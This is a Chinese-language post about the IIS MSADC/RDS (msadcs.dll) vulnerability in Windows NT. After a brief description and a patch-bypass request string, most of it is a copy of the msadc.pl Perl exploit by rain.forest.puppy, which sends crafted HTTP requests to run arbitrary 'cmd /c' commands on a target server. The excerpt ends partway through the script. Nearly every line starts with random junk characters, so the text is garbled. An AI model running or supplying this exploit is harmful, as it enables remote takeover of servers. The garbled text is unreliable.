IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
p* tAwl fvr|<3ojo 涉及程序:
l [
Na vw Microsoft NT server
`Zd\d:Wyv Mb'Tx 描述:
lH"4"r 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Z?)=4| :NXM.@jJ=" 详细:
uolEX+ 如果你没有时间读详细内容的话,就删除:
%Iv*u sXP c:\Program Files\Common Files\System\Msadc\msadcs.dll
T*rx5*:o 有关的安全问题就没有了。
aS&,$sR |WsB0R 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
M6H#Y2!ZbC Bb*P);#.K 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
p>= b|Qy| 关于利用ODBC远程漏洞的描述,请参看:
zA*I=3E( XG01g3 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm S(Q=2Y (!0fmL 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
?VR:e7|tU http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1Y{pf]5Wx l@`Do [ 这里不再论述。
#SqU>R lFbf9s:$B 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
;CLOZ{ 5?XIp6%x /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
+|zcjI'=O 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
h9I vuv' rvp#[RAaS} 8 EUc
6 #将下面这段保存为txt文件,然后: "perl -x 文件名"
DgODTxiX I6rB_~]h #!perl
wOF";0EN #
)=%TIkeF # MSADC/RDS 'usage' (aka exploit) script
=>X" #
69$gPY'3 # by rain.forest.puppy
@w73U;9\ #
kR65{h"gZT # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
>Qx
:l#B # beta test and find errors!
4N8(WI"4S uO5y{O2W use Socket; use Getopt::Std;
+AYB0`X) getopts("e:vd:h:XR", \%args);
;%!]C0? ][ 1
iKT print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
l#fwNM/F Xhp={p; if (!defined $args{h} && !defined $args{R}) {
m*~Iu<5L print qq~
x@? YS Usage: msadc.pl -h <host> { -d <delay> -X -v }
?<STl-]& -h <host> = host you want to scan (ip or domain)
|H
,-V; -d <seconds> = delay between calls, default 1 second
"I0F"nQ -X = dump Index Server path table, if available
#H.DnW -v = verbose
Y>Fh<"A|$ -e = external dictionary file for step 5
].HHTCD`c K(}g!iT)~ Or a -R will resume a command session
bDjm:G 0[.T`tpN' ~; exit;}
,f}u|D 3@ 5F$~ZDu $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
u#nM_UJe if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
|OBh:d_B] if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
uYCWsw/ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
7&
'p"hF $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
QE+HL8c^s if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
SGP)A(,k9 Sy"!Q%+| if (!defined $args{R}){ $ret = &has_msadc;
HcCT=x7: die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
qh#?a' p mUG`8SY print "Please type the NT commandline you want to run (cmd /c assumed):\n"
[Zne19/ . "cmd /c ";
#AF.1;(k $in=<STDIN>; chomp $in;
#j4RX:T*[ $command="cmd /c " . $in ;
MJ<jF(_=
::sk) if (defined $args{R}) {&load; exit;}
_B7+n"t\r 2:G/Oj h&] print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
zI"1.^Trn &try_btcustmr;
uU/'oZ? w5;d/r<q print "\nStep 2: Trying to make our own DSN...";
W~j>&PK,? &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
0DX)%s,KO Ynl Zyw! print "\nStep 3: Trying known DSNs...";
n;e.N:p &known_dsn;
th%T(D5n 9QHV%% print "\nStep 4: Trying known .mdbs...";
''H;/&nDX &known_mdb;
yb) a m1Xc3=Y if (defined $args{e}){
h^'+y1 print "\nStep 5: Trying dictionary of DSN names...";
+}iuTqu5 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
i2E@5 v=|Y Yc^,Cj{OM print "Sorry Charley...maybe next time?\n";
"'~&D/7 exit;
1F R 1!;4I@W(I) ##############################################################################
La$?/\Dv) xM?tdQ~VHY sub sendraw { # ripped and modded from whisker
SW7AG;c= sleep($delay); # it's a DoS on the server! At least on mine...
e \. my ($pstr)=@_;
ak\[+wQ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Lum5Va%0 die("Socket problems\n");
%R P\,| if(connect(S,pack "SnA4x8",2,80,$target)){
lBLL45%BIN select(S); $|=1;
auAwZi/ print $pstr; my @in=<S>;
vngn^2 select(STDOUT); close(S);
S]?I7_ return @in;
h/]));p } else { die("Can't connect...\n"); }}
GHpP
*x Hb\['VhzM ##############################################################################
7A^L$TY $:D\yZ, sub make_header { # make the HTTP request
V^< Zs//7 my $msadc=<<EOT
?hKpJA'% POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Sb^o`~ Eh User-Agent: ACTIVEDATA
GYtp%<<9; Host: $ip
>cH}sNHy Content-Length: $clen
O+t'E9Fa Connection: Keep-Alive
@s0 mX3P ]v l?J ADCClientVersion:01.06
\lF-]vz* Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
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